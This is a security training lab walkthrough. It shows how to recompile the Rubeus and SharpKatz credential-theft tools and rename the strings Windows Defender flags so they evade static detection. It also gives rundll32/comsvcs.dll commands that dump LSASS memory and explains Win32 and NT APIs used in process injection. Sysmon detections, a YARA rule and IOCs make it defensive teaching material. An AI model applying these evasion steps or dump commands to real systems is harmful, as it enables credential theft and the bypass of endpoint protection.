  • Check if Defender is turned ON by running the checkav.ps1 script on your Windows machine by opening a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_check.ps1
  • The output should be like this:

image

IMPORTANT: Make sure Real-Time Protection is enabled and the rest is disabled - if this is not the case just run the following script, it will configure the right settings.

  • On your Windows machine, from a PowerShell prompt with Administrator privileges:
C:\thev\labs\powershell\av_enable.ps1
  • The output should be like this :

image

1. RUBEUS

Let's take a common attack tool "Rubeus", compile it and see what Defender thinks of it.

https://www.youtube.com/watch?v=sP2XH8YI20c&t=1042s

https://github.com/GhostPack/Rubeus.git

https://github.com/gatariee/gocheck/releases

https://gist.github.com/daddycocoaman/108d807e89a0f9731304bc848fa219f0

  • On your windows machine, open a PowerShell prompt with Administrator privileges and type the following commands to clone Rubeus from GitHub:
cd c:\THEV
git clone https://github.com/GhostPack/Rubeus.git

NOTE: THE SCREENSHOTS BELOW ERRONEOUSLY SHOW C:\Git\Rubeus THIS SHOULD BE C:\THEV\Rubeus, just follow the instructions of the lab and don't let the screenshots confuse you - now you can't unforget it :) - I was too lazy to redo all the screenshots.

Screenshot

  • Now on your windows machine, compile this with Visual Studio 2019:

Screenshot

  • Browse to your Rubeus solution file (C:\THEV\Rubeus)

Screenshot

  • Select the Program.cs file on the right side in your Solution Explorer

Screenshot

In order to compile let's change "debug" to "release" and compile as a x64 bit application.

  • Click on "Configuration Manager",

Screenshot

Screenshot

  • Save the project, and let's compile (build).

Screenshot

Screenshot

Let's see if it works by running rubeus with a simple command.

  • Open a new powershell prompt and type the following command:
cd C:\THEV\Rubeus\Rubeus\bin\x64\Release
ls
.\Rubeus.exe logonsession

Screenshot

If we copy the file to our "C:\" directory, we'll see that Defender immediately detects it as malicious!!!

HINT : Defender didn't detect this as malicious when we compiled it since we made some ,exclusions ("C:\THEV", "C:\Temp" and "Downloads") in Defender to avoid scanning those directories.

  • You can check the exclusions with the following powershell command:
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

Screenshot

  • The rule that triggered is Virtual:Win32/kekeo.A!MTB
  • MTB suffix stands for "Machine Learning-Based Threat Detection"

So now what, how did Defender exactly detect this file as malicious, as we can see it was scanned upon being written to disk - this is static (signature based detection), we'll need to make some changes to our source code to bypass these signatures.

We'll use GoCheck (based of DefenderCheck and ThreatCheck) to analyze our rubeus file.

  • Open a new powershell prompt and type the following command:
gocheck64.exe C:\THEV\Rubeus\Rubeus\bin\x64\Release\Rubeus.exe --defender

Screenshot

We can see exactly which strings has caused Defender to detect this as malicious,get_ticket. So all we have to do is go back to our Visual Studio source code and find/replace all get_ticket strings by something else, i.e. "token".

  • Let's go back to Visual Studio, go to edit, Find and Replace, Replace in Files, and type in "get_ticket" in the top field, and "token" in the bottom field.

Screenshot

Make sure you select the "Look in" to Entire Solution, and click "Replace All".

Screenshot Screenshot

We can see 1294 References have been renamed. Save the file and let's REBUILD the solution.

Screenshot

  • From the same powershell prompt use GoCheck again:
gocheck64.exe C:\THEV\Rubeus\Rubeus\bin\x64\Release\Rubeus.exe --defender

Screenshot

We can see there old detection for TICKET is gone, but we have a new one: DiffieHellmanKey, alright let's fix that one, just like we did before.

  • In Visual studio, open Find/Replace and change DiffieHellmanKey to "dhkey". Save the project, rebuild and let's scan again with GoCheck (it should replace 12 occurrences).

  • From the same powershell prompt use GoCheck again:

Screenshot

Another hit : impersonateuser, we'll replace this with "impuser". (it should replace 7 occurrences). Save the file and let's REBUILD the solution, and scan again with GoCheck.

gocheck64.exe C:\THEV\Rubeus\Rubeus\bin\x64\Release\Rubeus.exe --defender

Screenshot

Another one? Now defender seems to dislike base64. We need to be careful with replacing this as there are functions using base64 as part of the name (i.e. Frombase64String). Let's replace this with base_64, but selecting "match word" to avoid renaming functions and breaking our application. (it should replace 78 occurrences)

Screenshot

  • Save the file and let's REBUILD the solution, and scan again with GoCheck.

Screenshot

Tadaa!!!! Victory!!! No more detections, we can now drop the clean rubeus file to our "C:\" drive and defender won't detect it. Let's try:

Screenshot

Screenshot


If we go and check our yara rules, we do find some kekeo (Rubeus) detection, but not the "MTB suffix stands for "Machine Learning-Based Threat Detection" (static/file-based).

One thing I noticed is that the strings ascii was missing the "wide" parameter for UTF-16 (common in .NET). Just something to know. Also string $x_1_8 translates to "KrbCred".

Defender's signature for Kekeo.B looks like this:

rule VirTool_Win32_Kekeo_B_2147805713_0
{
    meta:
        detection_name = "VirTool:Win32/Kekeo.B"
        threat_id = "2147805713"
        type = "VirTool"
        platform = "Win32: Windows 32-bit platform"
        family = "Kekeo"
        severity = "Critical"
        signature_type = "SIGNATURE_TYPE_PEHSTR_EXT"
        threshold = "7"
        strings_accuracy = "High"
    strings:
        $x_1_1 = "base64(ticket.kirbi)" ascii wide//weight: 1
        $x_1_2 = "krbtgt/{0}" ascii wide//weight: 1
        $x_1_3 = "krbtgt/.*" ascii wide//weight: 1
        $x_1_4 = "/domain:" ascii wide//weight: 1
        $x_1_5 = "/impersonateuser" ascii wide//weight: 1
        $x_1_6 = "/krbkey" ascii wide//weight: 1
        $x_1_7 = "(!samAccountName=krbtgt)(!(UserAccountControl:" ascii wide //weight: 1
        $x_1_8 = {4b 72 62 43 72 65 64 00}  //weight: 1, accuracy: High
        $x_1_9 = "base64({0}.kirbi)" ascii wide //weight: 1
    condition:
        (filesize < 20MB) and
        (7 of ($x*))
}

NOTE: See here how there's a weight field added to the end of each string - weight is not a standard YARA feature but a custom metadata field, likely used by the defender2yara tool or a custom scanning framework to indicate the importance or confidence of each string in the detection logic - think EDR's using this weight to determine However, you can simulate weighting or prioritize certain strings in YARA by structuring the condition section to emphasize specific strings, effectively giving them higher importance in the detection logic.

  1. Threat Scoring and Confidence Levels: he EDR tool assigns a numerical score to each matched YARA string based on its weight in the meta section. The total score determines the confidence level of the detection, influencing whether an alert is triggered or escalated.
  2. Alert Prioritization : EDR uses weights to rank alerts based on the severity or specificity of matched strings. Higher-weighted strings trigger higher-priority alerts or immediate analyst review.
  3. Behavioral Correlation : he EDR correlates YARA string matches with runtime behaviors (e.g., API calls, network activity) and uses weights to determine which strings indicate more severe behaviors. Higher-weighted strings trigger deeper behavioral analysis. The high weight of "/impersonateuser" (if we'd put this to 5 for example) prompts the EDR to monitor for user impersonation attempts, such as creating a new process with a forged Kerberos ticket. Lower-weighted strings might trigger monitoring for less critical behaviors, like domain enumeration. The EDR uses the weight to focus on high-risk behaviors, such as ticket forging in Rubeus, tying static strings to dynamic actions.
  4. Rule Matching Thresholds - EDR uses weights to enforce a cumulative score threshold for detection, as hinted by the threshold = "7" in the rule’s meta section. Files must accumulate enough weighted matches to be flagged. The high weight of "/impersonateuser" ensures that files with this string are more likely to meet the threshold, reducing false negatives for critical threats.
  5. Quarantine or Response Actions- EDR uses weights to determine automated response actions, such as quarantining a file or blocking a process. Higher-weighted strings trigger more aggressive actions.
  6. Threat Intelligence Enrichment - EDR uses weights to enrich threat intelligence reports, tagging detections with higher-weighted strings as more significant in threat analysis or reporting.
  7. EDR feeds weighted string matches into a machine learning model to classify files or behaviors. Higher-weighted strings contribute more to the model’s decision boundary. The higher weight of "/impersonateuser" boosts the ML model’s confidence in detecting Kekeo.B or Rubeus, especially for Kekeo.A!MTB variants with machine learning-based file inspection.

Palo Alto Networks describes that EDRs “monitor behavior… [and] machine learning analyzes these behaviors in real time, using historical data to differentiate between benign and malicious activities,” and that static and behavioral data are fused for final decisions. https://www.paloaltonetworks.com/cyberpedia/how-edr-leverages-machine-learning

Combinations of static and dynamic analysis continue to be the best choice for the majority of organizations, with static risk often determining what gets escalated to sandboxing or more advanced stages of inspection.

"Major EDR providers describe pipelines where “static analysis triggers deeper investigation” or where “behavioral engines are activated by suspicious static findings,” though full technical details are proprietary". https://www.fortinet.com/resources/cyberglossary/what-is-edr

NOTE: As you can see making sure your binary completely evades static detections, will have an impact on AV and EDR's* decisions made when doing behavioral analysis!!!


2. SharpKatz

Let's revisit SharpKatz from our PS Loader lab.

In the previous lab we already compiled SharpKatz - let's see how we can evade Defender's signature for SharpKatz and use it in our Havoc framework.

When we copy ShaprKatz.exe to our C:\ drive, Defender immediately picks is up with a MSIL signature:

image

Let's find what Defender is triggering on exactly with GoCheck.

  • Open a powershell prompt:
gocheck64.exe C:\THEV\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe --defender

image

  • Open the sharpkatz.sln file with Visual Studio 2019 and let's replace the LogonServer string with Logon_Server

image

image

image

image

Let's upload the AV bypass version of SafetyKatz to our Kali host for later use in Havoc:

  • On your windows machine, from a powershell prompt type the following command:
scp C:\THEV\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe Threatadmin@kali:/opt/Havoc/payloads/SharpKatz_bypass.exe
  • Enter the password Threathunt25 when prompted.

This concludes the lab on static analysis and AV signature bypass. Let's do some Forensics analysis in the next lab.

Detections & IOCS's SharpKatz and others...

1. SUMMARY : Credential Access via LSASS Memory (T1003.001)

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement - for example, by using the Pass-the-Hash or Pass-the-Ticket techniques. As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

The following SSPs can be used to access credentials:

  • Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
  • Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.
  • Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
  • CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.

1.1 MITRE ATT&CK

image

Here's a list of detections and IOC's (behavioral) that can be used to identify the activity from tools like SharpKatz, Mimikatz, Dumpert, etc.

1.2 Detection Engineering Process

Let's have a look at what happens when we run SharpKatz.exe on our lab machine. We can use Sysmon to monitor the activity, specifically process access (event ID 10) and file creation (event ID 11).

image

image Methodology by SpecterOps

1.3 SYSMON Process Access (Event ID 10)

When tools like SharpKatz or Mimikatz are executed, they often need to access the memory of other processes to extract sensitive information such as credentials. This is typically done using the OpenProcess API call, which can be monitored by Sysmon.

https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

  • PROCESS_VM_READ (0x0010)
  • PROCESS_QUERY_INFORMATION (0x0400)
  • PROCESS_QUERY_LIMITED_INFORMATION (0x1000)

Mimikatz uses 0x0010 | 0x1000 = 0x1010 (VM_READ + QUERY_LIMITED_INFORMATION) SharkpKatz uses 0x400 | 0x0010 | 0x1000 = 0x1410 (QUERY_INFORMATION + VM_READ + QUERY_LIMITED_INFORMATION) -which is more access than needed
SharpDump and Dumpert use even more access: 0x1FFFFF (ALL ACCESS)
ProcDump uses 0x1FFFFF (ALL ACCESS)
comsvcs.dll uses 0x1FFFFF (ALL ACCESS) and 0x1410 (QUERY_INFORMATION + VM_READ + QUERY_LIMITED_INFORMATION) - depends if you run as admin or system.

image

NOTE: This detection is already added to your sysmon config file.

  • On your Windows machine, open ELEX (Event Log Explorer) and open the workspace called "WORKSPACE_Sysmon10.ELX" located in the folder "c:\THEV\Labs\PSLoader\"

image

You can see the filter is already pre-configured for you to look for the sysmon rule with event ID 10 (Process Access) and the text in the description "LSASS Credential Dumping".

image

1.4 SYSMON File Creation (Event ID 11)

Tools like dumpert, sharpdump or even the native comsvcs.exe can be used to dump the memory of lsass.exe to a `file. This file can then be exfiltrated to extract credentials offline using mimikatz or pypykatz.

Below is an example of using native Windows comsvcs.dll to dump the memory of lsass.exe to a file called dump.bin located in c:\temp\.

https://lolbas-project.github.io/lolbas/Libraries/comsvcs/

NOTE: You need SeDebugPrivilege to be able to dump lsass.exe memory! You can simply get this using PSExec as SYSTEM. Make sure to use the PID of your lsass.exe process (you can find this in System Informer).

psexec -s -i cmd.exe
C:\Windows\system32\rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 804 c:\temp\dump.bin full

Or using the function #24 (minidump) directly:

C:\Windows\system32\rundll32.exe C:\Windows\System32\comsvcs.dll,#24 804 c:\temp\dump.bin full

We're not going to write a full detection for this activity, but you can monitor file creation events (event ID 11) using Sysmon and look for suspicious file names like dump.bin or files created in unusual locations.

Win32API, Functions, kernel and user mode

The Windows API is Microsoft’s way of exposing the inner workings of the operating system to developers. To do anything which requires the operating system to do things for you (for example process management, interacting with windows, making cool popup boxes, screenshotting, security, identity, and many other things such as system services), you need to interact with the API. Commonly referred to as the Win32 API, the documentation can be found here.

It’s the foundation for creating performant and native applications on Windows, giving you the ability to leverage the full capabilities of the Windows operating system.

NOTE: Some very good references on functions typically abused in malware can be found here

  • Windows API Abuse Atlas - detailled overview of functions typically abused in malware.
  • MalAPI.io - Brief explanation of how adversaries use the functions in their malicious code.
  • Undocumented NTInternals - some functions are not documented by Microsoft, but you can find them here.

Another very nice one, recently developed is the Windows API Arsenal:

image

In this training we are using the WIN32 API (kernel32.dll), which is the most common API used in Windows applications. The Win32 API is a set of functions provided by Windows that allows applications to interact with the operating system at a low level. These functions are exposed through various DLLs (Dynamic Link Libraries) such as kernel32.dll, user32.dll, gdi32.dll, advapi32.dll, and many others.

We don't use the NT API (ntdll.dll) directly in this training, but it's important to understand the difference between the two. As Defender does not hook API calls at all, we don't really care about the differences for this training. However, for completeness, here is a brief overview of the differences between the Win32 API and the NT API.

Differences between Win32 API and NT API:

Win32 API Function (kernel32.dll)NT API Equivalent (ntdll.dll)PurposeWin32 CharacteristicsNT API Characteristics
VirtualAllocNtAllocateVirtualMemoryAllocates memory in virtual address spaceSimple interface, automatic handle managementMore granular control, requires manual parameter handling
WriteProcessMemoryNtWriteVirtualMemoryWrites data to memory area of specified processUser-friendly error handling with GetLastErrorReturns NTSTATUS codes, more direct kernel access
CreateThreadNtCreateThreadCreates a thread to execute within virtual address spaceSimplified thread creation with standard parametersExtended control over thread attributes and creation flags
VirtualProtectNtProtectVirtualMemoryChanges protection on region of committed pagesAbstracted memory protection interfaceDirect access to memory protection mechanisms
WaitForSingleObjectNtWaitForSingleObjectWaits until specified object is in signaled stateHigh-level synchronization with timeout handlingLower-level wait operations with kernel object access

For reference, if you want to use the NT API functions, you can find the documentation here: NtDoC.

image

user-mode and kernel-mode:

Screenshot

User Mode vs Kernel Mode in Windows

1. Kernel Mode

  • What it is: Kernel mode is the privileged mode of operation in which code has unrestricted access to all system resources, including hardware and memory. It operates at the core of the operating system.
  • Who uses it: The Windows kernel, device drivers, and other low-level system processes operate in kernel mode.
  • Capabilities:
    • Direct access to the hardware (e.g., CPU, memory, storage devices).
    • Ability to execute critical system-level instructions.
  • Risks: Errors in kernel-mode processes can lead to system crashes or instability (commonly referred to as a "blue screen").

2. User Mode

  • What it is: User mode is the restricted mode in which applications and processes run. Code executed in user mode cannot directly access hardware or system resources and relies on the kernel for such operations.
  • Who uses it: Regular applications (e.g., browsers, text editors) and user-level processes operate in user mode.
  • Capabilities:
    • Processes in user mode interact with hardware indirectly through system calls provided by the kernel.
    • Memory and resources are isolated, minimizing the impact of an application crash.
  • Benefits: User mode enhances system stability by isolating applications from the core system operations. If a user-mode application crashes, it typically does not affect the operating system itself.

Switching Between Modes

  • In Windows, switching between user mode and kernel mode happens when a user-mode application requests system resources (e.g., file I/O or network access). These requests are performed using system calls. The operating system processes these calls in kernel mode and returns the results to the user-mode application.

Win32 API vs. NT API: Differences Explained

The Win32 API and the NT API (also known as the Native API) are two distinct sets of functions provided by the Windows operating system, each serving different purposes and operating at different levels of abstraction. Below, we explain their differences in terms of purpose, accessibility, usage, and their relevance to process injection and APIs like CreateThread, VirtualAlloc, and WaitForSingleObject.

1. Overview and Purpose

Win32 API

  • Definition: The Win32 API is the high-level, user-facing interface provided by Windows for developing applications. It’s a comprehensive set of functions exposed primarily through DLLs like kernel32.dll, user32.dll, and gdi32.dll.
  • Purpose: Designed for application developers (both user-mode and some kernel interactions), it provides a stable, documented, and abstracted way to interact with Windows services, such as process and thread management, memory allocation, file I/O, and UI components.
  • Examples: CreateThread, VirtualAlloc, WaitForSingleObject, WriteProcessMemory.
  • Abstraction Level: High-level, with a focus on ease of use, portability, and stability across Windows versions.
  • Accessibility: Fully documented in Microsoft’s MSDN, widely supported, and intended for use by developers in user-mode applications. It’s the standard API for most Windows software, including .NET applications via P/Invoke.

NT API (Native API)

  • Definition: The NT API is a lower-level, mostly undocumented set of functions used internally by the Windows NT kernel and its subsystems. These functions are exposed through ntdll.dll and are prefixed with Nt or Zw (e.g., NtCreateThreadEx, NtAllocateVirtualMemory).
  • Purpose: Provides direct access to core kernel services for low-level operations, such as system calls for process management, memory management, and I/O. It’s primarily used by Windows subsystems (e.g., the Win32 subsystem), drivers, and low-level components.
  • Examples: NtCreateThreadEx, NtAllocateVirtualMemory, NtWaitForSingleObject.
  • Abstraction Level: Low-level, closer to the kernel, with minimal abstraction. It’s more granular and exposes internal OS mechanics.
  • Accessibility: Partially documented, primarily for internal use by Microsoft and low-level developers (e.g., driver developers, security researchers). Public documentation is sparse, and Microsoft discourages its use in standard applications due to potential instability across Windows versions.

2. Key Differences

Here’s a detailed comparison across several dimensions:

AspectWin32 APINT API
Abstraction LevelHigher-level, abstracts kernel details for ease of use.Lower-level, directly interfaces with kernel services via system calls.
DocumentationFully documented in MSDN, with extensive examples and support.Mostly undocumented; information comes from reverse engineering or leaks.
StabilityStable across Windows versions, with backward compatibility.Less stable; function signatures or behavior may change between versions.
AccessibilityPublicly available for all developers via kernel32.dll, etc.Exposed via ntdll.dll, but intended for internal use or advanced cases.
UsageStandard for application development (e.g., GUI apps, services).Used by system components, drivers, or advanced malware/research tools.
ExamplesCreateThread, VirtualAlloc, WaitForSingleObject.NtCreateThreadEx, NtAllocateVirtualMemory, NtWaitForSingleObject.
PerformanceSlightly slower due to abstraction layers (e.g., calls often route through NT API).Faster, as it’s closer to the kernel with minimal overhead.
Error HandlingStandardized, with GetLastError for detailed error codes.Less consistent; error codes are NTSTATUS values, which are less intuitive.
Security MonitoringHeavily monitored by security tools due to common abuse in malware.Less monitored, making it attractive for stealthy operations.

3. Technical Differences

  • Function Mapping:
    • Many Win32 API functions are wrappers around NT API functions. For example:
      • CreateThread (Win32) calls NtCreateThreadEx or similar NT API functions internally.
      • VirtualAlloc maps to NtAllocateVirtualMemory.
      • WaitForSingleObject uses NtWaitForSingleObject under the hood.
    • The Win32 API adds user-friendly abstractions, such as simpler parameter types or additional error-checking, while NT API functions are raw and require precise parameter handling (e.g., NTSTATUS return codes).

Screenshot

  • Parameter Differences:

    • Win32 API functions often use simpler data types (e.g., HANDLE, DWORD) and handle some memory management automatically.
    • NT API functions use complex structures (e.g., UNICODE_STRING, OBJECT_ATTRIBUTES) and require manual memory management, making them harder to use correctly.
  • Execution Context:

    • Win32 API: Operates in user mode, designed for application-level tasks. It’s restricted from directly accessing kernel resources without going through proper channels.
    • NT API: Can be called from user mode (via ntdll.dll) or kernel mode (via Zw variants), offering more direct access to kernel services. This makes it more powerful but riskier.

4. Relevance to Process Injection

In the context of process injection (e.g., using CreateThread, VirtualAlloc, or WaitForSingleObject), the differences between Win32 and NT APIs are particularly relevant:

  • Win32 API in Injection:

    • Functions like CreateThread, VirtualAlloc, and WaitForSingleObject are commonly used in classic injection techniques. They’re straightforward, well-documented, and sufficient for most injection scenarios.
    • However, their widespread use makes them prime targets for security monitoring. Tools like EDRs (Endpoint Detection and Response) heavily scrutinize calls to CreateThread or VirtualAlloc in suspicious contexts (e.g., unsigned binaries injecting into explorer.exe).
  • NT API in Injection:

    • Attackers often prefer NT API equivalents (e.g., NtCreateThreadEx, NtAllocateVirtualMemory, NtWaitForSingleObject) for stealth. These functions are less monitored because they’re not part of the standard Win32 API and are harder to hook or detect.
    • For example, instead of using CreateThread, malware might use NtCreateThreadEx to create a thread in the current process with finer control over thread attributes, reducing the chance of detection.
    • The NT API’s lower visibility and lack of documentation make it attractive for advanced persistent threats (APTs) or red teams aiming to bypass security tools.
  • Example Comparison:

    • Win32: CreateThread creates a thread in the current process with a simple interface:
      [DllImport("kernel32.dll")]
      private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId);
      
    • NT API: NtCreateThreadEx offers more control (e.g., extended attributes) but requires complex structures:
      [DllImport("ntdll.dll")]
      private static extern int NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr BytesBuffer);
      
    • The NT version is harder to use but less likely to be flagged by security tools.

5. Why Attackers Prefer NT API

  • Stealth: NT API calls are less commonly monitored by security software, as they’re not part of the standard Win32 API. This makes them ideal for evading detection in process injection.
  • Flexibility: NT APIs often provide more granular control (e.g., NtCreateThreadEx supports additional thread creation options not available in CreateThread).
  • Bypassing Hooks: Some security tools hook Win32 APIs like CreateThread to detect malicious behavior. NT APIs, being lower-level, may bypass these hooks, as they’re called directly via ntdll.dll.

6. Why Developers Use Win32 API

  • Ease of Use: Win32 APIs are well-documented, with clear error codes and simpler interfaces, making them suitable for most application development.
  • Stability: Microsoft ensures backward compatibility for Win32 APIs, so code using CreateThread or VirtualAlloc is less likely to break across Windows versions.
  • Support: Extensive community and vendor support for Win32 APIs reduces development friction.

7. Caveats

  • NT API Risks: Using NT APIs in user-mode applications is risky due to their often undocumented nature. Microsoft may change their behavior, parameters, or availability without notice, breaking code across Windows versions.
  • Security Implications: While NT APIs are stealthier, their use in unsigned or suspicious binaries is itself a red flag for advanced security tools, as it suggests deliberate evasion.
  • Legitimate Use: Win32 APIs are sufficient for most legitimate applications, while NT APIs are typically reserved for low-level system programming, drivers, or security research.

Summary

  • Win32 API: High-level, documented, stable, and user-friendly, ideal for standard application development but heavily monitored for malicious use (e.g., CreateThread, VirtualAlloc).
  • NT API: Low-level, partially undocumented, closer to the kernel, and stealthier, favored by malware and red teams for evasion (e.g., NtCreateThreadEx, NtAllocateVirtualMemory).
  • In process injection, Win32 APIs are easier to use but more likely to be detected, while NT APIs are harder to use but offer stealth at the cost of complexity and instability.

A word about Kernel32 and Kernelbase.dll

Kernel32.dll basically forwards (redirects) requests to Kernelbase.dll, the image below illustrates this:

Screenshot

  • On modern Windows systems (Windows 7 and later), many functions in kernel32.dll are forwarded to kernelbase.dll. For example, kernel32.dll exports functions like CreateFileA or VirtualAlloc, but their actual implementation resides in kernelbase.dll. When a program calls a kernel32.dll function, the call is often redirected to kernelbase.dll, and API Monitor may only show the kernelbase.dll function being called.

  • This redirection happens because kernelbase.dll was introduced to modularize the Windows API, separating core functionality (kernelbase.dll) from higher-level abstractions (kernel32.dll). As a result, API Monitor might not log kernel32.dll calls if the actual execution occurs in kernelbase.dll.

IMPORTANT: The closer you can work to the kernel (ntdll.dll), the least chance on detection, since kernel32 and kernelbase all eventually translate into an ntdll.dll function. NTDLL.dll is basically a wrapper for syscalls to kernel mode.

AV and EDR's hooking functions

In this training we are using the Win32 API functions directly from kernel32.dll. However, many AV and EDR solutions hook these functions to monitor and intercept calls that may indicate malicious activity. Hooking is a technique where the original function is replaced or intercepted by a custom function, allowing the security software to analyze or modify the behavior of the function call. Microsoft Defender, for example, doe snot implement function hooking so we don't need to worry about it in this training.

image

Screenshot

Let's have a more detailed look at some of the Win32 API functions commonly used in process injection.

VirtualAlloc (kernel32.dll)

TLDR: VirtualAlloc reserves and commits a block of memory where the shellcode will be copied and sets the correct permissions (i.e. RW/RX/RWX).

Screenshot

https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

Memory ProtectionHex ValueDescription
PAGE_READWRITE(RW)0x04Memory can be read and written, but not executed
PAGE_EXECUTE_READ(RX)0x20Memory can be executed and read, but not written to
PAGE_EXECUTE_READWRITE(RWX)0x40Memory can be executed, read, and written - highly suspicious

https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants

Screenshot

  • When using VirtualAlloc with PAGE_EXECUTE_READWRITE (RWX) this often is seen as highly suspicious, normally memory should be allocated as RW first, then changed to RX with VirtualProtect.
  • Private Commit : this typically means the shellcode was injected (reflectively loaded) into memory at runtime, and not backed by a file on disk or system-wide resource. An image commit occurs when memory is allocated and committed to load a file (i.e. an executable .exe or dynamic link library .dll) from disk into the process's address space. This is the standard method for loading program code or libraries, where the operating system maps the file into memory using mechanisms like the Portable Executable (PE) loader.
  • Unbacked DLL in memory (not loaded with LoadLibrary)
  • Just having these 3 imports in the Import Address Table (IAT) is already suspicious

We'll do some forensics on a sample using VirtualAlloc with RWX memory permissions later in the labs.

Executive Summary

VirtualAlloc doesn’t just reserve memory—it sets the stage. As a memory allocation API, it allows a process to carve out space within its own address space, providing a foundation for process injection techniques. While defenders often focus on execution APIs like CreateRemoteThread or SetThreadContext, the real groundwork begins with memory allocation. With memory marked as PAGE_EXECUTE_READWRITE, VirtualAlloc creates a space ready for shellcode. It’s not glamorous, but it’s ubiquitous: from red team toolkits to nation-state malware, VirtualAlloc is the silent enabler of code execution.

What is VirtualAlloc?

VirtualAlloc is a core API from kernel32.dll that allocates memory within the calling process’s address space. It’s a legitimate tool used in a wide range of applications—debuggers, profilers, and automation frameworks—whenever they need to reserve a region of memory for code or data. Unlike VirtualAllocEx, which targets a remote process, VirtualAlloc operates locally, making it simpler but still powerful for preparing memory for payloads. Its versatility makes it a staple in both legitimate and malicious contexts.

Why It Matters

Memory allocation within a process gives attackers a trusted foothold for their code. By reserving memory with VirtualAlloc, malicious code can run within the context of the current process, which may already have elevated privileges or a benign appearance. This avoids the need to spawn a suspicious new process. Think of processes like system utilities or trusted applications. By allocating memory locally, adversaries can stage shellcode, unpack a loader, or prepare for further injection, all while blending into the process’s normal behavior. It’s about stealth and flexibility—executing malicious logic under the guise of a legitimate binary.

How Attackers Abuse It

Attackers often use VirtualAlloc to reserve a memory region within the current process, setting up a staging area for their payload. They write their code into this region using APIs like WriteProcessMemory or direct memory manipulation, effectively embedding malicious logic. From there, they may trigger execution using CreateThread for straightforward execution, queue an APC for stealth, or manipulate existing threads to avoid new thread creation. This technique appears in countless malware families, targeting processes like explorer.exe or system services. By operating within a trusted process, attackers gain stealth, persistence, and access to privileged capabilities, making VirtualAlloc a cornerstone of modern post-exploitation.

Sample Behavior

Detecting malicious use of VirtualAlloc requires looking beyond the API itself to the context of its use. Legitimate tools, like debuggers or performance profilers, use VirtualAlloc in predictable scenarios, often from signed binaries or development environments. Malicious use, however, often appears in suspicious contexts: unsigned executables in temporary directories, unusual process behavior, or memory allocations paired with unexpected thread creation. If VirtualAlloc is followed by thread creation or code execution in a high-value process, it’s a red flag. Suspicious memory allocations in processes with no legitimate need for dynamic memory manipulation—especially combined with unusual execution flows—warrant scrutiny. Context is key.

VirtualProtect (kernel32.dll)

TLDR: VirtualProtect changes the protection on a region of committed pages in the virtual address space of the calling process.

Screenshot

https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

Executive Summary

VirtualProtect is a Windows API function that changes the protection attributes of a region of committed pages in the virtual address space of the calling process. This function can be used to change the access rights of a memory region, allowing for more granular control over memory protection.

Executive Summary

VirtualProtect modifies the protection attributes of a memory region within a process, akin to switching a memory segment from read-only to executable. It’s a pivotal Windows API frequently leveraged in post-exploitation scenarios, particularly when attackers aim to execute freshly written code in memory. While its use is common in legitimate software, making it inherently noisy, its appearance in injection or evasion workflows marks it as a critical indicator of compromise. From enabling shellcode execution to bypassing security mechanisms or staging stealthy operations, VirtualProtect is a linchpin in many malicious activities.

Why It Matters

VirtualProtect is significant because it often signals the moment malicious activity becomes operational. It frequently appears just before shellcode execution, after unhooking security tools, or during evasion tactics. Though noisy in isolation due to its use in legitimate applications, when paired with memory allocation or write operations, it becomes a strong indicator of malicious intent. Detecting it in context can reveal injection or bypass techniques that might otherwise go unnoticed.

How Attackers Abuse It

VirtualProtect alters the protection settings on a region of memory pages within a process. Pages are fixed-size memory blocks managed by the operating system, forming a process’s virtual address space. Attackers exploit this API to make non-executable memory regions executable, enabling malicious code execution, evading security hooks, or thwarting analysis.

  • Injection: After allocating memory and writing shellcode, attackers use VirtualProtect to mark the region as executable, enabling code execution.
  • Unhooking: Employed to make hooked APIs writable, restore original bytes, and reinstate execute permissions, circumventing EDR monitoring.
  • Anti-debugging: Modifies memory associated with breakpoints or debugger stubs (e.g., DbgBreakPoint, DbgUiRemoteBreakin) to disrupt debugging efforts.
  • Evasion: Changes memory protections to bypass security controls or sandbox restrictions, facilitating stealthy operations.

NOTE: VirtualProtect can only modify memory protections in current process. It is a wrapper that ultimately calls NtProtectVirtualMemory (which can modify protections across processes). It simplifies the interface for user-mode applications by handling the current process context automatically.

WriteProcessMemory (kernel32.dll)

TLDR: WriteProcessMemory copies the shellcode byte array into the newly allocated memory.

Screenshot

https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

Executive Summary

WriteProcessMemory is the original memory manipulation primitive. It's simple, powerful, and dangerously flexible, and it’s at the root of many of the injection technique worth knowing, from shellcode drops and DLL injection to full-blown process hollowing. If malware wants to make another process do something it shouldn’t, this is the API it calls. For attackers, it’s a trusted workhorse. For defenders, it’s a red flare. You’ll rarely see WriteProcessMemory in benign software unless you’re debugging, automating, or managing systems at a very low level. So when it shows up outside those use cases, especially with thread creation or in-memory payloads; it’s time to start asking hard questions. This API isn’t inherently malicious, but it’s almost always intentional. Intent is where detection begins.

What is WriteProcessMemory?

